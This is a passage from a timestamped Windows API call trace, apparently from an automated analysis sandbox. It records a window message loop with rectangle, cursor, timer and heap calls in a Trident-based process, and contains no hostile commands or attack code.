lprcDst=0x30e7f0) returned 1 [0083.848] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0083.848] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0083.848] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0083.857] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0083.859] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0083.859] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0083.859] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.860] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x83e400 [0083.861] SetTimer (hWnd=0x60132, nIDEvent=0x2000, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2000 [0083.861] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0083.861] PtInRect (lprc=0x30f274, pt=0xb05e) returned 1 [0083.862] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0083.862] GetCursor () returned 0x10007 [0083.862] ShowCursor (bShow=0) returned -1 [0083.863] SetCursor (hCursor=0x10003) returned 0x10007 [0083.863] ShowCursor (bShow=1) returned 0 [0083.863] GetCurrentThreadId () returned 0xcd8 [0083.863] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0083.863] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.863] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0083.863] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0083.863] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0083.863] GetCurrentThreadId () returned 0xcd8 [0083.863] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.863] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0083.863] GetMessageTime () returned 212083 [0083.863] GetMessagePos () returned 0x218027c [0083.863] GetCapture () returned 0x0 [0083.863] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0083.863] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0083.863] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0083.863] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.863] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0083.864] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0083.864] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0083.864] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0083.864] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0083.864] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0083.864] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.864] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0083.864] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0083.864] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0083.864] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0083.864] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0083.864] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0083.864] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0083.864] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0083.864] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.864] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0083.864] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0083.864] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0083.864] GetCursor () returned 0x10003 [0083.864] GetCurrentThreadId () returned 0xcd8 [0083.864] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0083.864] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0083.864] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.864] GetMessageTime () returned 212254 [0083.864] GetMessagePos () returned 0x218027c [0083.865] GetCapture () returned 0x0 [0083.865] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0083.865] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.865] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d58 [0083.865] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0083.865] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.865] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0083.865] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0083.865] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0083.865] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0083.865] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d58 | out: hHeap=0x7f0000) returned 1 [0083.865] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0083.865] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0083.865] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0083.866] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.866] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x28) returned 0x831d58 [0083.866] GetCurrentThreadId () returned 0xcd8 [0083.866] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.866] GetCurrentThreadId () returned 0xcd8 [0083.866] GetCurrentThreadId () returned 0xcd8 [0083.866] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0083.867] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0083.867] NtdllDefWindowProc_W () returned 0x0 [0083.867] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0083.867] GetMessageTime () returned 212254 [0083.867] GetMessagePos () returned 0x218027c [0083.867] GetCapture () returned 0x0 [0083.867] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0083.867] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0083.867] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0083.868] GetCurrentThreadId () returned 0xcd8 [0083.868] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0083.868] GetCurrentThreadId () returned 0xcd8 [0083.868] GetCurrentThreadId () returned 0xcd8 [0083.868] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x10) returned 0x84ead0 [0083.868] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0083.868] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82abc0 [0083.868] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82abc0 | out: hHeap=0x7f0000) returned 1 [0083.868] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f398 | out: lpPoint=0x30f398) returned 1 [0083.868] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82abc0 [0083.868] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82abc0 | out: hHeap=0x7f0000) returned 1 [0083.868] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x84ead0 | out: hHeap=0x7f0000) returned 1 [0083.868] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8004, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0083.868] NtdllDefWindowProc_W () returned 0x0 [0083.869] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0083.869] GetCurrentThreadId () returned 0xcd8 [0083.869] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0083.869] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0083.869] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0083.869] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.869] KillTimer (hWnd=0x60018, uIDEvent=0x1000) returned 1 [0083.869] GetCurrentThreadId () returned 0xcd8 [0083.869] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0083.869] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0083.869] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0083.869] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0083.869] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0083.869] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0083.869] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.869] SetTimer (hWnd=0x60018, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0083.869] GetCurrentThreadId () returned 0xcd8 [0083.869] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0083.929] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0083.929] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0083.929] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0083.976] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0083.976] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0083.976] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0083.976] KillTimer (hWnd=0x60018, uIDEvent=0x1008) returned 1 [0083.976] GetCurrentThreadId () returned 0xcd8 [0083.976] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.062] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.063] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.063] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.063] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.063] GetCurrentThreadId () returned 0xcd8 [0084.063] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.063] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.063] GetMessageTime () returned 212379 [0084.063] GetMessagePos () returned 0x218027c [0084.063] GetCapture () returned 0x0 [0084.063] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.063] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.063] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.063] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.063] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.063] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.063] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.063] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.063] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.063] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.064] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.064] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.064] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.064] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.064] GetCursor () returned 0x10003 [0084.064] GetCurrentThreadId () returned 0xcd8 [0084.064] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.064] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.064] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.064] GetMessageTime () returned 212457 [0084.064] GetMessagePos () returned 0x218027c [0084.064] GetCapture () returned 0x0 [0084.064] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.064] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.064] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.064] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.064] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.064] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.064] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.064] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.064] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.064] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.064] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.064] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.064] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.064] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.065] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.065] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.065] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.065] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.065] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.065] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.065] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.065] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.065] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.065] GetCurrentThreadId () returned 0xcd8 [0084.065] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.065] GetCurrentThreadId () returned 0xcd8 [0084.065] GetCurrentThreadId () returned 0xcd8 [0084.065] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.066] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.066] NtdllDefWindowProc_W () returned 0x0 [0084.066] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.066] GetCurrentThreadId () returned 0xcd8 [0084.066] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.066] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.066] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.066] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.066] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.066] GetCurrentThreadId () returned 0xcd8 [0084.066] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.066] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.066] GetMessageTime () returned 212457 [0084.066] GetMessagePos () returned 0x218027c [0084.066] GetCapture () returned 0x0 [0084.067] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.067] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.067] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.067] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.067] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.067] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.067] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.067] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.067] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.067] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.067] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.067] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.067] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.067] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.067] GetCursor () returned 0x10003 [0084.067] GetCurrentThreadId () returned 0xcd8 [0084.067] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.067] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.067] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.068] GetMessageTime () returned 212457 [0084.068] GetMessagePos () returned 0x218027c [0084.068] GetCapture () returned 0x0 [0084.068] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.068] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.068] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.068] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.068] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.068] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.068] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.068] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | 